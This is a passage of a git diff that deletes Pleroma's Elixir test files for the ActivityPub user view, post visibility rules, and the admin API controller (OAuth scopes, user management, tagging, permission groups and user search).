user}) |> Map.has_key?("totalItems") - end - - test "sets correct totalItems when followers are hidden but the follower counter is not" do - user = insert(:user) - other_user = insert(:user) - {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user}) - user = Map.merge(user, %{hide_followers_count: false, hide_followers: true}) - assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user}) - end - end - - describe "following" do - test "sets totalItems to zero when follows are hidden" do - user = insert(:user) - other_user = insert(:user) - {:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user) - assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user}) - user = Map.merge(user, %{hide_follows_count: true, hide_follows: true}) - assert %{"totalItems" => 0} = UserView.render("following.json", %{user: user}) - end - - test "sets correct totalItems when follows are hidden but the follow counter is not" do - user = insert(:user) - other_user = insert(:user) - {:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user) - assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user}) - user = Map.merge(user, %{hide_follows_count: false, hide_follows: true}) - assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user}) - end - end - - describe "acceptsChatMessages" do - test "it returns this value if it is set" do - true_user = insert(:user, accepts_chat_messages: true) - false_user = insert(:user, accepts_chat_messages: false) - nil_user = insert(:user, accepts_chat_messages: nil) - - assert %{"capabilities" => %{"acceptsChatMessages" => true}} = - UserView.render("user.json", user: true_user) - - assert %{"capabilities" => %{"acceptsChatMessages" => false}} = - UserView.render("user.json", user: false_user) - - refute Map.has_key?( - UserView.render("user.json", user: nil_user)["capabilities"], - "acceptsChatMessages" - ) - end - end -end diff --git a/test/web/activity_pub/visibilty_test.exs b/test/web/activity_pub/visibilty_test.exs deleted file mode 100644 index 8e9354c65..000000000 --- a/test/web/activity_pub/visibilty_test.exs +++ /dev/null @@ -1,230 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.VisibilityTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Web.ActivityPub.Visibility - alias Pleroma.Web.CommonAPI - import Pleroma.Factory - - setup do - user = insert(:user) - mentioned = insert(:user) - following = insert(:user) - unrelated = insert(:user) - {:ok, following} = Pleroma.User.follow(following, user) - {:ok, list} = Pleroma.List.create("foo", user) - - Pleroma.List.follow(list, unrelated) - - {:ok, public} = - CommonAPI.post(user, %{status: "@#{mentioned.nickname}", visibility: "public"}) - - {:ok, private} = - CommonAPI.post(user, %{status: "@#{mentioned.nickname}", visibility: "private"}) - - {:ok, direct} = - CommonAPI.post(user, %{status: "@#{mentioned.nickname}", visibility: "direct"}) - - {:ok, unlisted} = - CommonAPI.post(user, %{status: "@#{mentioned.nickname}", visibility: "unlisted"}) - - {:ok, list} = - CommonAPI.post(user, %{ - status: "@#{mentioned.nickname}", - visibility: "list:#{list.id}" - }) - - %{ - public: public, - private: private, - direct: direct, - unlisted: unlisted, - user: user, - mentioned: mentioned, - following: following, - unrelated: unrelated, - list: list - } - end - - test "is_direct?", %{ - public: public, - private: private, - direct: direct, - unlisted: unlisted, - list: list - } do - assert Visibility.is_direct?(direct) - refute Visibility.is_direct?(public) - refute Visibility.is_direct?(private) - refute Visibility.is_direct?(unlisted) - assert Visibility.is_direct?(list) - end - - test "is_public?", %{ - public: public, - private: private, - direct: direct, - unlisted: unlisted, - list: list - } do - refute Visibility.is_public?(direct) - assert Visibility.is_public?(public) - refute Visibility.is_public?(private) - assert Visibility.is_public?(unlisted) - refute Visibility.is_public?(list) - end - - test "is_private?", %{ - public: public, - private: private, - direct: direct, - unlisted: unlisted, - list: list - } do - refute Visibility.is_private?(direct) - refute Visibility.is_private?(public) - assert Visibility.is_private?(private) - refute Visibility.is_private?(unlisted) - refute Visibility.is_private?(list) - end - - test "is_list?", %{ - public: public, - private: private, - direct: direct, - unlisted: unlisted, - list: list - } do - refute Visibility.is_list?(direct) - refute Visibility.is_list?(public) - refute Visibility.is_list?(private) - refute Visibility.is_list?(unlisted) - assert Visibility.is_list?(list) - end - - test "visible_for_user?", %{ - public: public, - private: private, - direct: direct, - unlisted: unlisted, - user: user, - mentioned: mentioned, - following: following, - unrelated: unrelated, - list: list - } do - # All visible to author - - assert Visibility.visible_for_user?(public, user) - assert Visibility.visible_for_user?(private, user) - assert Visibility.visible_for_user?(unlisted, user) - assert Visibility.visible_for_user?(direct, user) - assert Visibility.visible_for_user?(list, user) - - # All visible to a mentioned user - - assert Visibility.visible_for_user?(public, mentioned) - assert Visibility.visible_for_user?(private, mentioned) - assert Visibility.visible_for_user?(unlisted, mentioned) - assert Visibility.visible_for_user?(direct, mentioned) - assert Visibility.visible_for_user?(list, mentioned) - - # DM not visible for just follower - - assert Visibility.visible_for_user?(public, following) - assert Visibility.visible_for_user?(private, following) - assert Visibility.visible_for_user?(unlisted, following) - refute Visibility.visible_for_user?(direct, following) - refute Visibility.visible_for_user?(list, following) - - # Public and unlisted visible for unrelated user - - assert Visibility.visible_for_user?(public, unrelated) - assert Visibility.visible_for_user?(unlisted, unrelated) - refute Visibility.visible_for_user?(private, unrelated) - refute Visibility.visible_for_user?(direct, unrelated) - - # Visible for a list member - assert Visibility.visible_for_user?(list, unrelated) - end - - test "doesn't die when the user doesn't exist", - %{ - direct: direct, - user: user - } do - Repo.delete(user) - Cachex.clear(:user_cache) - refute Visibility.is_private?(direct) - end - - test "get_visibility", %{ - public: public, - private: private, - direct: direct, - unlisted: unlisted, - list: list - } do - assert Visibility.get_visibility(public) == "public" - assert Visibility.get_visibility(private) == "private" - assert Visibility.get_visibility(direct) == "direct" - assert Visibility.get_visibility(unlisted) == "unlisted" - assert Visibility.get_visibility(list) == "list" - end - - test "get_visibility with directMessage flag" do - assert Visibility.get_visibility(%{data: %{"directMessage" => true}}) == "direct" - end - - test "get_visibility with listMessage flag" do - assert Visibility.get_visibility(%{data: %{"listMessage" => ""}}) == "list" - end - - describe "entire_thread_visible_for_user?/2" do - test "returns false if not found activity", %{user: user} do - refute Visibility.entire_thread_visible_for_user?(%Activity{}, user) - end - - test "returns true if activity hasn't 'Create' type", %{user: user} do - activity = insert(:like_activity) - assert Visibility.entire_thread_visible_for_user?(activity, user) - end - - test "returns false when invalid recipients", %{user: user} do - author = insert(:user) - - activity = - insert(:note_activity, - note: - insert(:note, - user: author, - data: %{"to" => ["test-user"]} - ) - ) - - refute Visibility.entire_thread_visible_for_user?(activity, user) - end - - test "returns true if user following to author" do - author = insert(:user) - user = insert(:user) - Pleroma.User.follow(user, author) - - activity = - insert(:note_activity, - note: - insert(:note, - user: author, - data: %{"to" => [user.ap_id]} - ) - ) - - assert Visibility.entire_thread_visible_for_user?(activity, user) - end - end -end diff --git a/test/web/admin_api/controllers/admin_api_controller_test.exs b/test/web/admin_api/controllers/admin_api_controller_test.exs deleted file mode 100644 index cba6b43d3..000000000 --- a/test/web/admin_api/controllers/admin_api_controller_test.exs +++ /dev/null @@ -1,2034 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do - use Pleroma.Web.ConnCase - use Oban.Testing, repo: Pleroma.Repo - - import ExUnit.CaptureLog - import Mock - import Pleroma.Factory - import Swoosh.TestAssertions - - alias Pleroma.Activity - alias Pleroma.Config - alias Pleroma.HTML - alias Pleroma.MFA - alias Pleroma.ModerationLog - alias Pleroma.Repo - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web - alias Pleroma.Web.ActivityPub.Relay - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.MediaProxy - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - - :ok - end - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - test "with valid `admin_token` query parameter, skips OAuth scopes check" do - clear_config([:admin_token], "password123") - - user = insert(:user) - - conn = get(build_conn(), "/api/pleroma/admin/users/#{user.nickname}?admin_token=password123") - - assert json_response(conn, 200) - end - - describe "with [:auth, :enforce_oauth_admin_scope_usage]," do - setup do: clear_config([:auth, :enforce_oauth_admin_scope_usage], true) - - test "GET /api/pleroma/admin/users/:nickname requires admin:read:accounts or broader scope", - %{admin: admin} do - user = insert(:user) - url = "/api/pleroma/admin/users/#{user.nickname}" - - good_token1 = insert(:oauth_token, user: admin, scopes: ["admin"]) - good_token2 = insert(:oauth_token, user: admin, scopes: ["admin:read"]) - good_token3 = insert(:oauth_token, user: admin, scopes: ["admin:read:accounts"]) - - bad_token1 = insert(:oauth_token, user: admin, scopes: ["read:accounts"]) - bad_token2 = insert(:oauth_token, user: admin, scopes: ["admin:read:accounts:partial"]) - bad_token3 = nil - - for good_token <- [good_token1, good_token2, good_token3] do - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, good_token) - |> get(url) - - assert json_response(conn, 200) - end - - for good_token <- [good_token1, good_token2, good_token3] do - conn = - build_conn() - |> assign(:user, nil) - |> assign(:token, good_token) - |> get(url) - - assert json_response(conn, :forbidden) - end - - for bad_token <- [bad_token1, bad_token2, bad_token3] do - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, bad_token) - |> get(url) - - assert json_response(conn, :forbidden) - end - end - end - - describe "unless [:auth, :enforce_oauth_admin_scope_usage]," do - setup do: clear_config([:auth, :enforce_oauth_admin_scope_usage], false) - - test "GET /api/pleroma/admin/users/:nickname requires " <> - "read:accounts or admin:read:accounts or broader scope", - %{admin: admin} do - user = insert(:user) - url = "/api/pleroma/admin/users/#{user.nickname}" - - good_token1 = insert(:oauth_token, user: admin, scopes: ["admin"]) - good_token2 = insert(:oauth_token, user: admin, scopes: ["admin:read"]) - good_token3 = insert(:oauth_token, user: admin, scopes: ["admin:read:accounts"]) - good_token4 = insert(:oauth_token, user: admin, scopes: ["read:accounts"]) - good_token5 = insert(:oauth_token, user: admin, scopes: ["read"]) - - good_tokens = [good_token1, good_token2, good_token3, good_token4, good_token5] - - bad_token1 = insert(:oauth_token, user: admin, scopes: ["read:accounts:partial"]) - bad_token2 = insert(:oauth_token, user: admin, scopes: ["admin:read:accounts:partial"]) - bad_token3 = nil - - for good_token <- good_tokens do - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, good_token) - |> get(url) - - assert json_response(conn, 200) - end - - for good_token <- good_tokens do - conn = - build_conn() - |> assign(:user, nil) - |> assign(:token, good_token) - |> get(url) - - assert json_response(conn, :forbidden) - end - - for bad_token <- [bad_token1, bad_token2, bad_token3] do - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, bad_token) - |> get(url) - - assert json_response(conn, :forbidden) - end - end - end - - describe "DELETE /api/pleroma/admin/users" do - test "single user", %{admin: admin, conn: conn} do - clear_config([:instance, :federating], true) - - user = - insert(:user, - avatar: %{"url" => [%{"href" => "https://someurl"}]}, - banner: %{"url" => [%{"href" => "https://somebanner"}]}, - bio: "Hello world!", - name: "A guy" - ) - - # Create some activities to check they got deleted later - follower = insert(:user) - {:ok, _} = CommonAPI.post(user, %{status: "test"}) - {:ok, _, _, _} = CommonAPI.follow(user, follower) - {:ok, _, _, _} = CommonAPI.follow(follower, user) - user = Repo.get(User, user.id) - assert user.note_count == 1 - assert user.follower_count == 1 - assert user.following_count == 1 - refute user.deactivated - - with_mock Pleroma.Web.Federator, - publish: fn _ -> nil end, - perform: fn _, _ -> nil end do - conn = - conn - |> put_req_header("accept", "application/json") - |> delete("/api/pleroma/admin/users?nickname=#{user.nickname}") - - ObanHelpers.perform_all() - - assert User.get_by_nickname(user.nickname).deactivated - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} deleted users: @#{user.nickname}" - - assert json_response(conn, 200) == [user.nickname] - - user = Repo.get(User, user.id) - assert user.deactivated - - assert user.avatar == %{} - assert user.banner == %{} - assert user.note_count == 0 - assert user.follower_count == 0 - assert user.following_count == 0 - assert user.bio == "" - assert user.name == nil - - assert called(Pleroma.Web.Federator.publish(:_)) - end - end - - test "multiple users", %{admin: admin, conn: conn} do - user_one = insert(:user) - user_two = insert(:user) - - conn = - conn - |> put_req_header("accept", "application/json") - |> delete("/api/pleroma/admin/users", %{ - nicknames: [user_one.nickname, user_two.nickname] - }) - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} deleted users: @#{user_one.nickname}, @#{user_two.nickname}" - - response = json_response(conn, 200) - assert response -- [user_one.nickname, user_two.nickname] == [] - end - end - - describe "/api/pleroma/admin/users" do - test "Create", %{conn: conn} do - conn = - conn - |> put_req_header("accept", "application/json") - |> post("/api/pleroma/admin/users", %{ - "users" => [ - %{ - "nickname" => "lain", - "email" => "lain@example.org", - "password" => "test" - }, - %{ - "nickname" => "lain2", - "email" => "lain2@example.org", - "password" => "test" - } - ] - }) - - response = json_response(conn, 200) |> Enum.map(&Map.get(&1, "type")) - assert response == ["success", "success"] - - log_entry = Repo.one(ModerationLog) - - assert ["lain", "lain2"] -- Enum.map(log_entry.data["subjects"], & &1["nickname"]) == [] - end - - test "Cannot create user with existing email", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> put_req_header("accept", "application/json") - |> post("/api/pleroma/admin/users", %{ - "users" => [ - %{ - "nickname" => "lain", - "email" => user.email, - "password" => "test" - } - ] - }) - - assert json_response(conn, 409) == [ - %{ - "code" => 409, - "data" => %{ - "email" => user.email, - "nickname" => "lain" - }, - "error" => "email has already been taken", - "type" => "error" - } - ] - end - - test "Cannot create user with existing nickname", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> put_req_header("accept", "application/json") - |> post("/api/pleroma/admin/users", %{ - "users" => [ - %{ - "nickname" => user.nickname, - "email" => "someuser@plerama.social", - "password" => "test" - } - ] - }) - - assert json_response(conn, 409) == [ - %{ - "code" => 409, - "data" => %{ - "email" => "someuser@plerama.social", - "nickname" => user.nickname - }, - "error" => "nickname has already been taken", - "type" => "error" - } - ] - end - - test "Multiple user creation works in transaction", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> put_req_header("accept", "application/json") - |> post("/api/pleroma/admin/users", %{ - "users" => [ - %{ - "nickname" => "newuser", - "email" => "newuser@pleroma.social", - "password" => "test" - }, - %{ - "nickname" => "lain", - "email" => user.email, - "password" => "test" - } - ] - }) - - assert json_response(conn, 409) == [ - %{ - "code" => 409, - "data" => %{ - "email" => user.email, - "nickname" => "lain" - }, - "error" => "email has already been taken", - "type" => "error" - }, - %{ - "code" => 409, - "data" => %{ - "email" => "newuser@pleroma.social", - "nickname" => "newuser" - }, - "error" => "", - "type" => "error" - } - ] - - assert User.get_by_nickname("newuser") === nil - end - end - - describe "/api/pleroma/admin/users/:nickname" do - test "Show", %{conn: conn} do - user = insert(:user) - - conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}") - - expected = %{ - "deactivated" => false, - "id" => to_string(user.id), - "local" => true, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - - assert expected == json_response(conn, 200) - end - - test "when the user doesn't exist", %{conn: conn} do - user = build(:user) - - conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}") - - assert %{"error" => "Not found"} == json_response(conn, 404) - end - end - - describe "/api/pleroma/admin/users/follow" do - test "allows to force-follow another user", %{admin: admin, conn: conn} do - user = insert(:user) - follower = insert(:user) - - conn - |> put_req_header("accept", "application/json") - |> post("/api/pleroma/admin/users/follow", %{ - "follower" => follower.nickname, - "followed" => user.nickname - }) - - user = User.get_cached_by_id(user.id) - follower = User.get_cached_by_id(follower.id) - - assert User.following?(follower, user) - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} made @#{follower.nickname} follow @#{user.nickname}" - end - end - - describe "/api/pleroma/admin/users/unfollow" do - test "allows to force-unfollow another user", %{admin: admin, conn: conn} do - user = insert(:user) - follower = insert(:user) - - User.follow(follower, user) - - conn - |> put_req_header("accept", "application/json") - |> post("/api/pleroma/admin/users/unfollow", %{ - "follower" => follower.nickname, - "followed" => user.nickname - }) - - user = User.get_cached_by_id(user.id) - follower = User.get_cached_by_id(follower.id) - - refute User.following?(follower, user) - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} made @#{follower.nickname} unfollow @#{user.nickname}" - end - end - - describe "PUT /api/pleroma/admin/users/tag" do - setup %{conn: conn} do - user1 = insert(:user, %{tags: ["x"]}) - user2 = insert(:user, %{tags: ["y"]}) - user3 = insert(:user, %{tags: ["unchanged"]}) - - conn = - conn - |> put_req_header("accept", "application/json") - |> put( - "/api/pleroma/admin/users/tag?nicknames[]=#{user1.nickname}&nicknames[]=" <> - "#{user2.nickname}&tags[]=foo&tags[]=bar" - ) - - %{conn: conn, user1: user1, user2: user2, user3: user3} - end - - test "it appends specified tags to users with specified nicknames", %{ - conn: conn, - admin: admin, - user1: user1, - user2: user2 - } do - assert empty_json_response(conn) - assert User.get_cached_by_id(user1.id).tags == ["x", "foo", "bar"] - assert User.get_cached_by_id(user2.id).tags == ["y", "foo", "bar"] - - log_entry = Repo.one(ModerationLog) - - users = - [user1.nickname, user2.nickname] - |> Enum.map(&"@#{&1}") - |> Enum.join(", ") - - tags = ["foo", "bar"] |> Enum.join(", ") - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} added tags: #{tags} to users: #{users}" - end - - test "it does not modify tags of not specified users", %{conn: conn, user3: user3} do - assert empty_json_response(conn) - assert User.get_cached_by_id(user3.id).tags == ["unchanged"] - end - end - - describe "DELETE /api/pleroma/admin/users/tag" do - setup %{conn: conn} do - user1 = insert(:user, %{tags: ["x"]}) - user2 = insert(:user, %{tags: ["y", "z"]}) - user3 = insert(:user, %{tags: ["unchanged"]}) - - conn = - conn - |> put_req_header("accept", "application/json") - |> delete( - "/api/pleroma/admin/users/tag?nicknames[]=#{user1.nickname}&nicknames[]=" <> - "#{user2.nickname}&tags[]=x&tags[]=z" - ) - - %{conn: conn, user1: user1, user2: user2, user3: user3} - end - - test "it removes specified tags from users with specified nicknames", %{ - conn: conn, - admin: admin, - user1: user1, - user2: user2 - } do - assert empty_json_response(conn) - assert User.get_cached_by_id(user1.id).tags == [] - assert User.get_cached_by_id(user2.id).tags == ["y"] - - log_entry = Repo.one(ModerationLog) - - users = - [user1.nickname, user2.nickname] - |> Enum.map(&"@#{&1}") - |> Enum.join(", ") - - tags = ["x", "z"] |> Enum.join(", ") - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} removed tags: #{tags} from users: #{users}" - end - - test "it does not modify tags of not specified users", %{conn: conn, user3: user3} do - assert empty_json_response(conn) - assert User.get_cached_by_id(user3.id).tags == ["unchanged"] - end - end - - describe "/api/pleroma/admin/users/:nickname/permission_group" do - test "GET is giving user_info", %{admin: admin, conn: conn} do - conn = - conn - |> put_req_header("accept", "application/json") - |> get("/api/pleroma/admin/users/#{admin.nickname}/permission_group/") - - assert json_response(conn, 200) == %{ - "is_admin" => true, - "is_moderator" => false - } - end - - test "/:right POST, can add to a permission group", %{admin: admin, conn: conn} do - user = insert(:user) - - conn = - conn - |> put_req_header("accept", "application/json") - |> post("/api/pleroma/admin/users/#{user.nickname}/permission_group/admin") - - assert json_response(conn, 200) == %{ - "is_admin" => true - } - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} made @#{user.nickname} admin" - end - - test "/:right POST, can add to a permission group (multiple)", %{admin: admin, conn: conn} do - user_one = insert(:user) - user_two = insert(:user) - - conn = - conn - |> put_req_header("accept", "application/json") - |> post("/api/pleroma/admin/users/permission_group/admin", %{ - nicknames: [user_one.nickname, user_two.nickname] - }) - - assert json_response(conn, 200) == %{"is_admin" => true} - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} made @#{user_one.nickname}, @#{user_two.nickname} admin" - end - - test "/:right DELETE, can remove from a permission group", %{admin: admin, conn: conn} do - user = insert(:user, is_admin: true) - - conn = - conn - |> put_req_header("accept", "application/json") - |> delete("/api/pleroma/admin/users/#{user.nickname}/permission_group/admin") - - assert json_response(conn, 200) == %{"is_admin" => false} - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} revoked admin role from @#{user.nickname}" - end - - test "/:right DELETE, can remove from a permission group (multiple)", %{ - admin: admin, - conn: conn - } do - user_one = insert(:user, is_admin: true) - user_two = insert(:user, is_admin: true) - - conn = - conn - |> put_req_header("accept", "application/json") - |> delete("/api/pleroma/admin/users/permission_group/admin", %{ - nicknames: [user_one.nickname, user_two.nickname] - }) - - assert json_response(conn, 200) == %{"is_admin" => false} - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} revoked admin role from @#{user_one.nickname}, @#{ - user_two.nickname - }" - end - end - - test "/api/pleroma/admin/users/:nickname/password_reset", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> put_req_header("accept", "application/json") - |> get("/api/pleroma/admin/users/#{user.nickname}/password_reset") - - resp = json_response(conn, 200) - - assert Regex.match?(~r/(http:\/\/|https:\/\/)/, resp["link"]) - end - - describe "GET /api/pleroma/admin/users" do - test "renders users array for the first page", %{conn: conn, admin: admin} do - user = insert(:user, local: false, tags: ["foo", "bar"]) - user2 = insert(:user, approval_pending: true, registration_reason: "I'm a chill dude") - - conn = get(conn, "/api/pleroma/admin/users?page=1") - - users = - [ - %{ - "deactivated" => admin.deactivated, - "id" => admin.id, - "nickname" => admin.nickname, - "roles" => %{"admin" => true, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(admin) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(admin.name || admin.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => admin.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - }, - %{ - "deactivated" => user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => false, - "tags" => ["foo", "bar"], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - }, - %{ - "deactivated" => user2.deactivated, - "id" => user2.id, - "nickname" => user2.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user2) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user2.name || user2.nickname), - "confirmation_pending" => false, - "approval_pending" => true, - "url" => user2.ap_id, - "registration_reason" => "I'm a chill dude", - "actor_type" => "Person" - } - ] - |> Enum.sort_by(& &1["nickname"]) - - assert json_response(conn, 200) == %{ - "count" => 3, - "page_size" => 50, - "users" => users - } - end - - test "pagination works correctly with service users", %{conn: conn} do - service1 = User.get_or_create_service_actor_by_ap_id(Web.base_url() <> "/meido", "meido") - - insert_list(25, :user) - - assert %{"count" => 26, "page_size" => 10, "users" => users1} = - conn - |> get("/api/pleroma/admin/users?page=1&filters=", %{page_size: "10"}) - |> json_response(200) - - assert Enum.count(users1) == 10 - assert service1 not in users1 - - assert %{"count" => 26, "page_size" => 10, "users" => users2} = - conn - |> get("/api/pleroma/admin/users?page=2&filters=", %{page_size: "10"}) - |> json_response(200) - - assert Enum.count(users2) == 10 - assert service1 not in users2 - - assert %{"count" => 26, "page_size" => 10, "users" => users3} = - conn - |> get("/api/pleroma/admin/users?page=3&filters=", %{page_size: "10"}) - |> json_response(200) - - assert Enum.count(users3) == 6 - assert service1 not in users3 - end - - test "renders empty array for the second page", %{conn: conn} do - insert(:user) - - conn = get(conn, "/api/pleroma/admin/users?page=2") - - assert json_response(conn, 200) == %{ - "count" => 2, - "page_size" => 50, - "users" => [] - } - end - - test "regular search", %{conn: conn} do - user = insert(:user, nickname: "bob") - - conn = get(conn, "/api/pleroma/admin/users?query=bo") - - assert json_response(conn, 200) == %{ - "count" => 1, - "page_size" => 50, - "users" => [ - %{ - "deactivated" => user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - } - end - - test "search by domain", %{conn: conn} do - user = insert(:user, nickname: "nickname@domain.com") - insert(:user) - - conn = get(conn, "/api/pleroma/admin/users?query=domain.com") - - assert json_response(conn, 200) == %{ - "count" => 1, - "page_size" => 50, - "users" => [ - %{ - "deactivated" => user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - } - end - - test "search by full nickname", %{conn: conn} do - user = insert(:user, nickname: "nickname@domain.com") - insert(:user) - - conn = get(conn, "/api/pleroma/admin/users?query=nickname@domain.com") - - assert json_response(conn, 200) == %{ - "count" => 1, - "page_size" => 50, - "users" => [ - %{ - "deactivated" => user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - } - end - - test "search by display name", %{conn: conn} do - user = insert(:user, name: "Display name") - insert(:user) - - conn = get(conn, "/api/pleroma/admin/users?name=display") - - assert json_response(conn, 200) == %{ - "count" => 1, - "page_size" => 50, - "users" => [ - %{ - "deactivated" => user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - } - end - - test "search by email", %{conn: conn} do - user = insert(:user, email: "email@example.com") - insert(:user) - - conn = get(conn, "/api/pleroma/admin/users?email=email@example.com") - - assert json_response(conn, 200) == %{ - "count" => 1, - "page_size" => 50, - "users" => [ - %{ - "deactivated" => user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - } - end - - test "regular search with page size", %{conn: conn} do - user = insert(:user, nickname: "aalice") - user2 = insert(:user, nickname: "alice") - - conn1 = get(conn, "/api/pleroma/admin/users?query=a&page_size=1&page=1") - - assert json_response(conn1, 200) == %{ - "count" => 2, - "page_size" => 1, - "users" => [ - %{ - "deactivated" => user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - } - - conn2 = get(conn, "/api/pleroma/admin/users?query=a&page_size=1&page=2") - - assert json_response(conn2, 200) == %{ - "count" => 2, - "page_size" => 1, - "users" => [ - %{ - "deactivated" => user2.deactivated, - "id" => user2.id, - "nickname" => user2.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user2) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user2.name || user2.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user2.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - } - end - - test "only local users" do - admin = insert(:user, is_admin: true, nickname: "john") - token = insert(:oauth_admin_token, user: admin) - user = insert(:user, nickname: "bob") - - insert(:user, nickname: "bobb", local: false) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - |> get("/api/pleroma/admin/users?query=bo&filters=local") - - assert json_response(conn, 200) == %{ - "count" => 1, - "page_size" => 50, - "users" => [ - %{ - "deactivated" => user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - 